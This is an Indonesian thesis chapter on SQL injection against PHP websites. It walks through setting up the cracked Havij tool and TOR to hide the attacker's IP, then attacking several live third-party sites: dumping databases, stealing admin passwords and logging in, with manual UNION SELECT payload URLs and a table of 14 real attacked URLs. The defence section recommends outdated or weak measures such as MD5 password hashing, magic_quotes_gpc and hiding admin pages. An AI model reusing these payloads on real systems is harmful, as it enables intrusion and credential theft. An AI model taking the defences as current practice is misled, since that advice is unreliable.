40 BAB 4
IMPLEMENTASI DAN EVALUASI
4.1 Prosedur Operasional
Sub bab operasional merupakan sebuah bagian dari prosedur dalam menjalankan implementasi serangan SQL Injection, dengan menggunakan sebuah tools yang dipergunakan untuk membantu melakukan serangan SQL Injection pada beberapa web target yang berbasis platform PHP.
4.1.1 Instalasi Havij
Havij Pro 1.15 Portable, digunakan untuk SQL Injection, proses instalasinya sebagai berikut :
1. Buka folder Havij, kemudian pilih Havij.exe
Gambar 4.1 Folder Havij
2. Setelah di klik maka akan muncul jendela berikut ini. Kemudian pilih register.
Gambar 4.2 Registrasi Havij I
3. Setelah itu tulis nama registrasi pada bagian “Name”
4. Kemudian pada file, klik browse folder dan pilih file Havijkey.lc yang berada pada folder yang sama dari Havij.exe
Gambar 4.4 Folder HavijKey
5. Setelah itu klik register
6. Kemudian akan muncul pop-up yang menyatakan bahwa registrasi telah sukses dilakukan.
Gambar 4.6 Hasil Registrasi Havij
4.1.2 Instalasi TOR
TOR merupakan software yang menggunakan konsep Onion Routing, namun ia hanya mendukung browser Firefox karena menggunakan add-ons. Dan
software ini berjalan pada platform Windows, baik Windows XP maupun
Windows Seven.
1. Jalankan installer Vidalia, dalam contoh ini menggunakan vidalia-bundle-0.2.2.4-0.2.15
2. Pilih English sebagai selectedlanguage, kemudian klik Ok
Gambar 4.8 Option Language Vidalia
3. Klik Next
4. Pilihan akan di selectall secara otomatis, kemudian klik Next
Gambar 4.10 Vidalia Setup Components
5. Kemudian pilih lokasi driver untuk instalasi, lalu klik Install
6. Klik Next
Gambar 4.12 Instalasi Vidalia
7. Proses instalasi telah selesai dilakukan, klik Finish
8. Pada Firefox akan muncul jendela untuk install add-ons Torbutton. Pilih Install now. Torbutton berguna untuk mengaktifkan TOR pada browser.
Gambar 4.14 Instalasi Tor dalam Add-ons
9. Add-ons Torbutton telah selesai di install
10.Saat Torbutton telah di install, maka perlu dilakukan restart pada Firefox agar Torbutton dapat berfungsi.
Gambar 4.16 Restart Firefox
11.Akan muncul pop-up dari Vidalia Control Panel yang berguna sebagai pengaturan untuk start dan stop TOR. Pada gambar ini sedang dilakukan konfigurasi ke jaringan TOR.
12.Koneksi ke jaringan TOR telah selesai dilakukan, maka TOR sudah dapat digunakan untuk mengubah IP dengan mengunakan browser.
Gambar 4.18 Tor yang Terhubung
13.Ke jendela Firefox lalu klik kanan pada tulisan Tor Enabled yang berwarna merah, kemudian pilih Toggle TOR status untuk mengaktifkan TOR di browser.
14.Setelah klik Toggle TOR status maka TOR Disabled yang berwarna merah akan berubah menjadi TOR Enabled yang berwarna hijau. Jika sudah sampai tahap ini maka TOR sudah bisa digunakan untuk mereverse IP.
Gambar 4.20 TOR Dalam Firefox
15.IP bisa diperiksa dengan mengunjungi situs yang menyediakan pemeriksaan IP. Pada contoh ini menggunakan www.whatismyipaddress.com yang menyatakan bahwa IP yang digunakan berasal dari Budapest, Hungaria. IP lokal telah berhasil disembunyikan.
Namun TOR hanya bisa berfungsi pada web aplikasi. Jika melakukan serangan yang melibatkan jaringan langsung tanpa perantara web application, maka IP lokal akan terdeteksi. Dan TOR hanya bisa digunakan pada browser Firefox.
4.2 Implementasi Pencarian Halaman Vulnerable
Sub bab implementasi serangan adalah bagian yang menunjukkan langkah – langkah melakukan serangan SQL Injection pada sebuah web vulnerable dengan menggunakan tools Havij maupun dengan cara melakukan serangan SQL Injection melalui inputan URL pada web target.
4.2.1 Penyerangan SQL Injection pada PHP
Pada contoh implementasi serangan SQL Injection, menggunakan tools Havij 1.15. Untuk menggunakan tools ini sebelumnya perlu mencari web target yang vulnerable serta pada URL web target terdapat karakter ‘=’ contoh : http://www.target.com/index.php?id=123. Berikut ini adalah langkah – langkah dalam melakukan serangan SQL Injection, sehingga akan didapatkan database serta hak akses sebagai administrator pada sebuah web tertentu.
Langkah – langkah serangan SQL Injection pada web pertama, sebagai berikut :
Gambar 4.22 Web target 1
2. Cari halaman web target yang terdapat karakter ‘=’.
3. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya.
Gambar 4.24 URL dalam Havij
4. Klik button Analyze untuk memulai proses analisis terhadap web target.
5. Nama database dari web target telah didapatkan, kemudian klik Tab Tables
Gambar 4.26 Database Hasil Havij
6. Setelah itu tabel-tabel yang terdapat pada nama database tersebut akan di ekstrak. Kemudian klik Tab Get Tables
7. Pilih nama tabel yang ingin ekstrak. Pada kasus ini pilih untuk mengekstrak tabel administrator. Kemudian klik Tab Get Columns
Gambar 4.28 Pemilihan M enganalisa Kolom pada Suatu Tabel
8. Pilih field yang ingin diperoleh datanya. Pada kasus ini pilih isi dari
fieldusername dan passwd. Kemudian klik Tab Get Data
9. Username dan password administrator pada contoh web pertama
telah berhasil didapatkan.
Gambar 4.30 Data dari Database Target
10.Klik Tab Find Admin untuk mendapatkan halaman login administrator.
11.Buka link URL administrator yang telah didapatkan dari hasil pada langkah sebelumnya di browser.
Gambar 4.32 Halaman Administrator Target 1
12.Lakukan login menggunakan account administrator yang telah didapatkan sebelumnya.
13. Login sebagai administrator berhasil, maka implementasi serangan
SQL Injection telah berhasil dilakukan.
Gambar 4.34 Halaman Web Sebagai Administrator
Langkah – langkah serangan SQL Injection pada web kedua, sebagai berikut :
1. Buka halaman web target pada browser. Kemudian cari halaman web target yang terdapat karakter ‘=’.
2. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya. Kemudian klik button Analyze untuk memulai proses analisis terhadap web target.
Gambar 4.36 Hasil Analisis Havij
3. Nama database dari web target telah didapatkan, kemudian klik Tab
Tables . Setelah itu tabel-tabel yang terdapat pada nama
database tersebut akan di ekstrak. Kemudian klik Tab Get Tables
4. Pilih nama tabel yang ingin diekstrak. Pada kasus ini pilih untuk mengekstrak table administrator. Kemudian klik Tab Get Columns
Gambar 4.38 Kolom Hasil Havij
5. Pilih field yang ingin diperoleh datanya. Pada kasus ini pilih untuk mendapatkan isi dari field id, nama dan password. Kemudian klik Tab
Get Data . Username dan password administrator pada
contoh web kedua telah berhasil didapatkan.
6. Klik Tab Find Admin untuk mendapatkan halaman login administrator.
Gambar 4.40 Halaman Administrator Hasil Havij
7. Buka link URL administrator yang telah didapatkan dari hasil pada langkah sebelumnya di browser.
8. Lakukan login menggunakan account administrator yang telah didapatkan sebelumnya.
Gambar 4.42 Login Sebagai Administrator pada Web Target 2
9. Login sebagai administrator berhasil, maka implementasi serangan
SQL Injection telah berhasil dilakukan.
Langkah – langkah serangan SQL Injection pada web ketiga, sebagai berikut :
1. Buka halaman web target pada browser.
Gambar 4.44 Halaman Web Target 3
2. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya. Kemudian klik button Analyze untuk memulai proses analisis terhadap web target.
Pada web ketiga gagal untuk dilakukan serangan SQL Injection menggunakan Havij.
Langkah-langkah SQL Injection pada URL
Target : http://puzzle-spot.co.cc/produk.tampilan.php?produkid=1
Gambar 4.46 Halaman Web Target SQL Injection Pada URL
1. Cek bug pada suatu web dengan menambahkan single quote ( ' ) dibelakang URL, jika muncul pesan error “Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in/home/a9598479/public_html/produk.tampilan.php on
line 95” maka dapat dikatakan bahwa web target memiliki celah
keamanan dan dapat di serang dengan SQL Injection.
2. Untuk mencari kolom gunakan perintah [order by]. order by 1— dimulai dengan angka 1, selanjutnya 2, dan seterusnya sampai muncul pesan error pada web target, error muncul pada angka 9. “Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in/home/a9598479/public_html/produk.tampilan.php on line 95”
http://puzzle-spot.co.cc/produk.tampilan.php?produkid=1 order by 9— jadi angka yang diambil adalah 9-1 = 8 (jumlah kolom adalah 8).
Gambar 4.48 Cek Jumlah Kolom I
Gambar 4.50 Cek Jumlah Kolom III
3. Selanjutnya akan dicari angka urutan tabel yang paling mudah diserang dimana bisa dilakukan injeksi dengan perintah [union all select]. Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter id=1 menjadi id=-1
http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,2,3,4,5,6,7,8--
akan muncul angka : 2
4. Selanjutnya cari versi Database MySql-nya dengan perintah "version()" pada angka 2.
http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,version(),3,4,5,6,7,8--
muncul tulisan : 5.1.57 yang berarti web target menggunakan M ySql versi 5.1.57.
Gambar 4.52 Cek Versi MySQL
5. Selanjutnya akan dicari tabelnya dengan perintah "group_concat(table_name)" pada angka yang telah didapatkan pada langkah ketiga dan "from information_schema.tables where table_schema=database()--" dibelakang angka 8
http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all
select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where
table_schema=database()--muncul nama – nama tabel : admin, event, kategori, orders, orders_item, produk, status, user.
6. Selanjutnya cari kolom dari tabel yang ada hubungannya dengan user
dan password, kali ini ambil tabel "admin" tetapi sebelumnya konversike
hexa agar dapat dibaca pada ASCII text ketik admin lalu klik ASCII to Hex, hasilnya di kolom Hex Value : 61:64:6d:69:6e. Hilangkan tanda titik dua ( : ) sehingga menjadi 61646d696e.
Perintah selanjutnya adalah "group_concat(column_name)" pada angka 2 yang didapat pada langkah ketiga dan "from information_schema.columns wheretable_name=0xHexa--" di akhir URL yaitu 61646d696e tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah dikonversi ke hexa.
http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 union all select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name=0x61646d696e--
muncul kolom : id, nama, password.
Gambar 4.54 Web Convert ASCII ke Dalam Hexa
7. Untuk melihat isi dari kedua kolom tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka yang telah dilakukan saat langkah ketiga dan from NAMATABLE—pada akhir URL ganti column1 dengan "nama" dan column2 dengan "password". 0x3a adalah tanda titik dua( : ) yang telah dikonversi ke hexa. NAM A TABLE diganti dengan "admin" untuk mengambil informasi dari table yang bernama "admin"
http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1unionallselect1,group_concat(nama,0x3a,password),3,4,5,6,7,8fromadm
inistrator--hasilnya akan muncul: admin:admin, yang berarti,
username : admin
password : admin
sekarang tinggal login ke web target.
Gambar 4.56 Data dari SQL Injection
4.3 Implementasi Konfigurasi Pencegahan SQL Injection pada PHP
Implementasi konfigurasi merupakan sub bab yang memaparkan langkah – langkah konfigurasi yang harus dilakukan untuk melakukan pencegahan terhadap
serangan SQL Injection dari berbagai macam celah yang mungkin saja terdapat pada sebuah web yang vulnerable. Implementasi konfigurasi pencegahan serangan SQL
Injection dibahas pada 3 macam implementasi yaitu implementasi pada code PHP dan
penyimpanan file, implementasi pada web server lokal dan implementasi pada web
server melalui jasa webhosting.
4.3.1 Implementasi pada Code PHP dan Penyimpanan File Pada contoh coding seperti ini :
Gambar 4.57 Code PHP Vulnerable
Dapat menimbulkan permasalahan keamanan pada input
username dan password, yang memungkinkan untuk di injeksi dengan
suatu string yang biasa digunakan pada SQL Injection, yaitu ‘ OR ‘’=’ pada field username dan password yang kemudian akan dianggap true, karena pada $query=”SELECT * FROM user WHERE
‘username’=’$username’ akan digantikan oleh ‘username’=’’ OR ‘
’=’‘seperti pada kasus berikut:
Gambar 4.58 User Interface Web Test
Field pada username dan password diisi dengan ‘ OR ‘’=’ setelah
itu klik submit.
Gambar 4.59 Login Sukses dengan SQL Injection
Berhasil melakukan login hanya dengan menggunakan ‘ OR ‘’=’ 1. Langkah – langkah konfigurasi untuk pencegahan terhadap celah
Gambar 4.60 Syntax mysql_real _escape_string
Saat code telah ditambahkan syntax mysql_real_escape_string(); seperti pada baris ke 11 yang berguna untuk melewatkan karakter spesial dari input pada field
username dan password, maka ‘ OR ’’=’ akan dianggap false
seperti berikut :
Gambar 4.61 User Interface Setelah Syntax mysql_real_escape_string
Untuk lebih jelasnya, cara keja yang dilakukan oleh mysql_real_escape_string(); adalah
Gambar 4.62 User Interface Logika Syntax mysql_real_escape_string
2. Langkah – langkah konfigurasi untuk pencegahan terhadap celah
SQL Injection pada perubahan Return Value :
Pada contoh coding berikut :
Gambar 4.63 Kelemahan Coding PHP Return Value
Di baris ke 15, mysql_num_rows($quesy_run)>=1 terdapat kelemahan, yaitu >=1 karena tidak membatasi jumlah
return value baris yang bisa diterima. Pada database terdapat > 1
Gambar 4.64 User Interface phpMyAdmin
Untuk meningkatkan keamanan dari celah ini, maka perlu dilakukan pembatasan dalam jumlah return value agar yang diterima hanyalah data yang sesuai dengan database. Jika data tidak tercantum pada database, maka login tidak akan berhasil. Hal ini dilakukan dengan mengganti return value menjadi ==1.
Saat return value diubah menjadi ==1 seperti pada baris ke 15, yang membatasi return value hanya pada satu baris, maka yang terjadi pada saat memasukkan input ‘ OR ‘’=’ adalah :
Gambar 4.66 User Interface Setelah Solusi Coding PHP
Login tersebut gagal karena OR tidak terdapat dalam
database. Jika dimasukkan input yang benar dan sesuai dengan
salah satu dari kolom yang ada didalam database, maka input akan diterima.
Gambar 4.67 User Interface Login Success
3. Langkah – langkah untuk menghindari Find Admin pada Havij : Havij dapat melakukan pencarian terhadap halaman administrator dengan melakukan pemeriksaan terhadap kemungkinan – kemungkinan penamaan pada halaman administrator yang biasa digunakan oleh web. Oleh karena itu, untuk melindungi halaman administrator agar tidak berhasil ditemukan oleh penyerang, maka halaman dapat dilindungi dengan cara :
M enghindari penamaan yang umum digunakan seperti
xxxx.com/admin.php; xxxx.com/cpanel; xxxx.com/admin/admin.php dan lain sebagainya. Halaman login
administrator dapat diletakkan ke dalam folder dengan nama yang lebih tidak umum, atau dengan menggunakan folder didalam
folder yang juga menggunakan nama yang tidak umum, seperti
berikut ini :
Gambar 4.68 Havij Find Admin
Havij gagal mendapatkan halaman administrator, karena halaman administrator berada pada folder pages/administrasi/login.php yang ditampilkan sebagai berikut :
Gambar 4.69 Halaman Login Administrator Target Setelah Dikonfigurasi
Dengan tingkat kerumitan penamaan yang hanya diketahui oleh pemilik web atau orang yang bersangkutan, maka pencarian halaman login administrator akan sulit untuk dilakukan, sehingga dapat mencegah penyusup untuk memasuki halaman administrator walaupun ia telah memiliki username dan password administrator.
4. Cara mengantisipasi password leak dengan menggunakan preg_match() dan enkripsi md5().
Dalam melakukan pencegahan terhadap serangan SQL
Injection dan sebagai langkah antisipasi apabila penyerang
berhasil menemukan isi database, maka melakukan enkripsi
password merupakan langkah yang sangat penting dan hal yang
paling mendasar, sehingga data yang diperoleh tidak dapat digunakan untuk mengakses halaman administrator maupun user dari suatu web. Penggunaan password pun harus gabungan dari huruf, angka, maupun spesial karakter agar menyulitkan penyerang jika hendak melakukan proses dekripsi password. Untuk password yang umum digunakan, proses dekripsi sangat mudah dilakukan karena kamus dari hasil enkripsi kata tertentu sudah banyak beredar secara online. Berikut contoh penggunaan
enkripsi password pada suatu web, dalam hal ini enkripsi yang digunakan adalah md5.
Gambar 4.70 User InterfaceWeb yang Terenkripsi
Pada gambar diatas, password yang harus digunakan terdiri dari huruf kecil, huruf kapital, angka dan special karakter, dimana code validasi password menggunakan fungsi preg_match(); untuk menentukan pola tersebut adalah seperti berikut :
Gambar 4.72 Coding Enkripsi PHP Lanjutan
Sehingga, pada saat code dieksekusi, data yang tersimpan pada database menjadi seperti berikut :
Gambar 4.73 Tampilan Password Enkripsi pada Database
Password yang berisi “md5M D5!!” dienkripsi menjadi
“dd1395672066fdd8a1c860f4464c2b30”, jika diuji dengan melakukan dekripsi melalui Havij yang memanfaatkan bermacam – macam decryptoronline, maka hasilnya seperti berikut :
Gambar 4.74 Havij Decryptor
Dan apabila dilakukan pencarian melalui search engine, maka hasilnya seperti berikut :
Hal ini sangat berbeda jika menggunakan password yang umum digunakan, seperti “administrator123!” yang enkripsi md5nya adalah “10c4981bb793e1698a83aea43030a388”. Walaupun terkesan password tersebut kuat karena terdiri dari kombinasi huruf, angka dan spesial karakter, namun dekripsi untuk plain textnya sangat mudah ditemukan. Seperti yang ditemukan oleh Havij pada gambar berikut :
Gambar 4.76 Contoh Password yang Terlihat Strong
Oleh karena itu, menggunakan password yang terlihat kuat saja tidak cukup, tetapi harus menggunakan kombinasi yang sangat unik dan bervariasi agar password menjadi lebih kuat. Terutama password bagi administrator, karena username dan
password administrator paling sering menjadi target dari
4.3.2 Implementasi pada Web Server
Sub bab implementasi pada webserver membahas mengenai konfigurasi apa saja yang mungkin diterapkan di pemilik web jika menggunakan server lokal milik sendiri atau pun menggunakan server yang telah disediakan oleh jasa web hosting.
4.3.2.1 Server Lokal
Field pada username dan password diisi dengan ‘ OR ‘’=’
setelah itu klik submit.
Gambar 4.77 Login Sukses dengan SQL Injection
Berhasil melakukan login hanya dengan menggunakan ‘ OR ‘’=’
1. Langkah – langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax magic_quotes_gpc pada file php.ini :
• M enggunakan sistem operasi Linux
1) Buka aplikasi terminal ataupun console pada Linux.
Gambar 4.78 Letak Terminal Pada Linux
2) Login sebagai root dengan cara ketik perintah su
dan masukkan password root yang digunakan atau jika tidak dapat login sebagai root, harus menambah perintah “sudo” pada setiap awal baris dari perintah – perintah selanjutnya yang akan dilakukan.
Gambar 4.79 Login Terminal Linux
3) Buka file php.ini dengan cara mengetikan perintah pico /etc/php5/apache2/php.ini
4) M engaktifkan on pada syntax magic_quotes_gpc, lalu tekan Ctrl+X, Y kemudian enter untuk menyimpan hasil perubahan pada file php.ini
Gambar 4.81 Tampilan PHP.ini magic_quotes_gpc Pada Linux
• M enggunakan sistem operasi Windows
1) Buka file php.ini yang berada pada directory C:\xampp\php\php.ini
2) M engaktifkan on pada syntax magic_quotes_gpc, lalu tekan Ctrl+S atau klik File >> Save, untuk menyimpan hasil perubahan pada file php.ini
Gambar 4.83 Tampilan php.ini magic_quotes_gpc Pada Windows
Setelah syntax magic_quotes_gpc = On, maka pada saat dilakukan input ‘ OR ‘’=’ maka string akan diterima seperti berikut :
2. Langkah – langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax display_errors pada file php.ini :
• M enggunakan sistem operasi Linux
1) Buka aplikasi terminal ataupun console pada Linux.
Gambar 4.85 Letak Terminal Linux
2) Login sebagai root dengan cara ketik perintah su
dan masukkan password root yang digunakan atau jika tidak dapat login sebagai root, harus menambah perintah sudo pada setiap awal baris dari perintah – perintah selanjutnya yang akan dilakukan.
3) Buka file php.ini dengan cara mengetikan perintah pico /etc/php5/apache2/php.ini
Gambar 4.87 Perintah M embuka File php.ini Pada Linux
4) M engaktifkan off pada syntax display_errors, lalu tekan Ctrl+X, Y kemudian enter untuk menyimpan hasil perubahan pada file php.ini
Gambar 4.88 Tampilan PHP.ini display_errors Pada Linux
• M enggunakan sistem operasi Windows
1) Buka file php.ini yang berada pada directory C:\xampp\php\php.ini
Gambar 4.89 Command Prompt Windows
2) M engaktifkan off pada syntax display_errors, lalu tekan Ctrl+S, untuk menyimpan hasil perubahan pada file php.ini
Setelah syntax display_errors = Off, maka pada saat dilakukan input ‘ maka halaman web tidak akan memunculkan pesan error seperti berikut :
Gambar 4.91 Halaman Web Vulnerable
3. Langkah – Langkah konfigurasi untuk pencegahan terhadap celah SQL Injection dengan melakukan instalasi M od Security :
• M enggunakan sistem operasi Linux
1) Buka aplikasi terminal ataupun console pada Linux.
2) Login sebagai root dengan cara ketik perintah su
dan masukkan password root yang digunakan atau jika tidak dapat login sebagai root, harus menambah perintah sudo pada setiap awal baris dari perintah – perintah selanjutnya yang akan dilakukan.
Gambar 4.93 Login Terminal Linux
3) Ketik perintah apt-get install subversion untuk memulai instalasi mod security. Namun harus terkoneksi dengan jaringan internet untuk melakukan perintah tersebut.
Gambar 4.94 Perintah InstallSubversion Pada Linux
4) Lalu ketik perintah svn co https://mod-
security.svn.sourceforge.net/svnroot/mod-security/m2/trunk modsecurity. Namun harus terkoneksi dengan jaringan internet untuk melakukan perintah tersebut.
5) Kemudian ketik perintah apt-get install libapache-mod-security. Namun harus terkoneksi dengan jaringan internet untuk melakukan perintah tersebut.
Gambar 4.96 Install libapache-mod-security Pada Linux
4.3.2.2 Server Jasa Web Hosting
1. Langkah – langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax magic_quotes_gpc pada file .htaccess :
Gambar 4.97 Konfigurasi htaccess magic_quotes_gpc Pada Hosting
2. Langkah – langkah untuk pencegahan terhadap celah SQL
Injection menggunakan syntax display_errors pada file
Gambar 4.98 Konfigurasi htaccess display_errors Pada Hosting
4.4 Evaluasi
4.4.1 Evaluasi Hasil Serangan SQL Injection
Dari hasil evaluasi yang sudah didapatkan ada berberapa jenis celah terhadap serangan SQL Injection yang mungkin dilakukan pada sebuah web yang
berbasis PHP. Berikut ini adalah daftar tabel web yang telah dilakukan uji coba serangan SQL Injection dengan menggunakan Havij.
Tabel 4.1 Web yang Diserang dengan Havij
No URL SQLi Database Tabel Kolom Data Enkripsi Administrator /Halaman Administrator 1 http://www.oz onegaming.co m/product.php ?id=12 √ √ √ √ √ × × 2 http://spyderc o.com/catalog/ details.php?pr oduct=77 √ √ √ √ √ × × 3 http://www.se phiroth.it/file_ detail.php?id= 130 √ √ √ √ × √ ×
4 http://www.ac -psych.org/inde x.php?id=1 √ √ √ √ √ × × 5 http://www.ol dvictheatre.co m/whatson.ph p?id=63 √ √ √ √ √ × × 6 http://www.nu uo.com/produ ct.php?id=12 √ √ √ √ √ × × 7 http://www.co ppercraft.com/ product.php?p roduct=12 √ √ √ √ × √ × 8 http://www.lc oastpress.com/ journal.php?id =6 √ √ √ √ √ √ × 9 http://itsretha. com/_lookboo k-newcollection. php?id=144 √ √ √ √ √ × √ 10 http://puzzle-spot.co.cc/pro duk.tampilan. php?produkid =1 √ √ √ √ √ × √ 11 http://www.hp ol.org/transcri pt.php?id=72 √ √ √ √ √ × × 12 http://www.ru mahoutlet.co m/index.php? main_page=pr oduct_info&c Path=2_26&p roducts_id=31 28&zenid=76 765bfde63b75 9a892f901de0 732437 × × × × × √ × 13 http://www.gl odokshop.com /detail_katego × × × × × √ ×
ri.php?kat1= MTI 14 http://www.cit ra.net.id/servic e_detail.php?i d=12 × × × × × √ × Keterangan tabel :
√ SQLi Æ dapat dilakukan serangan SQLInjection pada web. × SQLi Æ tidak dapat dilakukan serangan SQLInjection pada web. √ Database Æ nama database pada web berhasil didapatkan. × Database Æ nama database pada web gagal didapatkan. √ Tabel Æ nama tabel pada web berhasil didapatkan. × Tabel Æ nama tabel pada web gagal didapatkan. √ Kolom Æ nama kolom pada web berhasil didapatkan. × Kolom Æ nama kolom pada web gagal didapatkan. √ Data Æ data pada web berhasil didapatkan.
× Data Æ data pada web gagal didapatkan.
√ Enkripsi Æ data password yang didapatkan terenkripsi. × Enkripsi Æ data password yang didapatkan tidak terenkripsi.
√ Administrator/Halaman Administrator Æ URL halaman administrator berhasil didapatkan.
× Administrator/Halaman Administrator Æ URL halaman administrator gagal didapatkan.
4.4.1.1 Keberhasilan Serangan
Pada berbagai web yang telah dilampirkan pada tabel diatas, terdapat 11 web yang berhasil dilakukan serangan SQL Injection. Namun
dari beberapa keberhasilan serangan tersebut, dapat dikelompokkan menjadi beberapa hasil keberhasilan serangan.
• web pertama, web kedua, web keempat, web kelima, web keenam dan web kesebelas :
SQL Injection dapat dilakukan, database, tabel, kolom
dan data berhasil didapatkan. Selain itu data password tidak terenkripsi, tetapi halaman login administrator tidak didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom dan data menggunakan kata – kata yang sudah umum dan terdapat pada library Havij. Tetapi halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata – kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder –
folder tertentu dan menggunakan kata – kata yang tidak
umum.
• web ketiga, dan web ketujuh :
SQL Injection dapat dilakukan, database, tabel dan kolom
berhasil didapatkan. Namun datanya kosong dan halaman
login administrator tidak didapatkan. Pada hasil seperti ini
dapat disimpulkan bahwa pada penamaan database, tabel dan kolom menggunakan kata – kata yang sudah umum dan terdapat pada library Havij. Sedangkan datanya tidak bisa didapatkan karena kemungkinan isi database pada tabel tersebut datanya tidak ada atau datanya sudah
terenkripsi sehingga tidak bisa terbaca oleh library Havij. Selain itu halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata – kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder –
folder tertentu dan menggunakan kata – kata yang tidak
umum.
• web kedelapan :
SQL Injection dapat dilakukan, database, tabel, kolom dan
data berhasil didapatkan. Tetapi data password yang didapatkan sudah terenkripsi dan halaman login administrator tidak bisa didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom dan data menggunakan kata – kata yang sudah umum dan terdapat pada library Havij. Tetapi data
password yang terdapat pada halaman web tersebut sudah
dienkripsi menggunakan algoritma tertentu. Sedangkan halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata – kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder – folder tertentu dan menggunakan kata – kata yang tidak umum.
• web kesembilan dan web kesepuluh :
SQL Injection dapat dilakukan, database, tabel, kolom,
data dan halaman login administrator berhasil didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom, data dan penamaan file
pada halaman login administrator menggunakan kata – kata yang sudah umum dan terdapat pada library Havij.
4.4.1.2 Kegagalan Serangan
Pada berbagai web yang telah dilampirkan pada tabel diatas, terdapat 3 web yang gagal dilakukan serangan SQL Injection. Hasil evaluasi kegagalan serangan SQL Injection terdapat pada contoh web keduabelas, web ketigabelas dan web keempatbelas yang memiliki tipe kegagalan karena kemungkinan pada penamaan database, tabel, kolom, data dan halaman login administrator tidak menggunakan kata – kata yang umum dan tidak terdapat pada library Havij, atau URL pada web target tidak vulnerable karena setelah karakter = bukan angka yang langsung mengarah ke databaseweb target tersebut.
4.4.2 Evaluasi Hasil Konfigurasi Pencegahan SQL Injection pada PHP Setelah dilakukan konfigurasi terhadap celah SQL Injection, seperti implementasi pada code PHP dan penyimpanan file, serta implementasi konfigurasi pada server lokal maupun pada server web hosting.
Evaluasi hasil implementasi code PHP dan penyimpanan file: • Syntax mysql_real_escape_string()
Dengan menggunakan syntax mysql_real_escape_string() pada code PHP, maka dilakukan validasi pada text input, sehingga setiap ada karakter “ ‘ ” pada text input sebuah web akan ditambahkan karakter “ \ ” sebelum karakter “ ‘ ”, sehingga jika user memasukkan input ‘ OR ‘’=’ maka string pada database tidak akan bernilai true.
• Returnvalue
Penggunaan return value seperti mysql_num_rows($query_run)==1 hanya akan menerima input sesuai dengan data yang terdapat pada
database. Ia akan menolak setiap input yang tidak terdapat pada
database, maka jika dilakukan percobaan dengan ‘ OR ‘’=’ database
akan menganggap perintah tersebut invalid. • Penyimpanan halaman administrator
Findadmin bisa dilakukan dengan menggunakan tools dan menduga
letak halaman administrator pada web, karena posisi penyimpanan halaman tersebut sangat umum digunakan, misalnya
www.example.com/admin.php. Dengan menyimpan halaman administrator pada folder atau nama yang lebih unik maka dapat
mencegah ditemukannya halaman administrator oleh pihak luar.
• Penggunaan validasi dengan preg_match() dan hash M D5 pada password
Fungsi preg_match() digunakan untuk validasi pola password yang harus digunakan, sehingga user harus memasukkan password yang kompleks. penggunaan hash M D5 dengan password yang kompleks harus
dilakukan, sehingga jika sewaktu-waktu data berhasil didapatkan
password tersebut tidak bisa digunakan oleh peretas karena M D5
merupakan hash satu arah yang tidak bisa di hash balik, dengan didukung tipe password yang kompleks maka akan mencegah peretas dalam mencocokan password dengan layanan M D5 yang tersedia di web,
selain itu dikarenakan kompleksitas password maka akan menyulitkan dalam proses percobaan crackingpassword dengan brute force.
Evaluasi hasil implementasi pada server lokal :
• Penggunaan syntax magic_quotes_gpc pada file php.ini
Dengan mengaktifkan magic_quotes_gpc pada file php.ini, maka dilakukan validasi pada textinput, sehingga setiap ada karakter “ ‘ ” pada
textinput sebuah web akan ditambahkan karakter “ \ ” sebelum karakter “
‘ ”, sehingga jika user memasukkan input ‘ OR ‘’=’ maka string pada
database tidak akan bernilai true.
Dengan menon-aktifkan display_errors yang terdapat pada file php.ini, maka web yang tadinya menampilkan error saat di exploit tidak lagi menampilkan error tersebut sehingga tidak memungkinkan untuk dilakukan injeksi terhadap jumlah tabel.
• Instalasi mod_security pada linux
Dengan melakukan instalasi mod_security pada server lokal yang menggunakan linux, maka web yang tadinya menampilkan error saat di
exploit tidak lagi menampilkan error tersebut sehingga tidak
memungkinkan untuk dilakukan injeksi terhadap jumlah tabel. Evaluasi hasil implementasi pada serverweb hosting :
• Penggunaan magic_quotes_gpc pada file .htaccess
Dengan mengaktifkan magic_quotes_gpc pada file .htaccess, maka dilakukan validasi pada text input, sehingga setiap ada karakter “ ‘ ” pada
text input sebuah web akan ditambahkan karakter “ \ ” sebelum karakter “
‘ ”, sehingga jika user memasukkan input ‘ OR ‘’=’ maka string pada
database tidak akan bernilai true.
• Penggunaan display_errors pada file .htaccess
Dengan menon-aktifkan display_errors yang terdapat pada file .htaccess, maka web yang tadinya menampilkan error saat di exploit tidak lagi menampilkan error tersebut sehingga tidak memungkinkan untuk dilakukan injeksi terhadap jumlah tabel.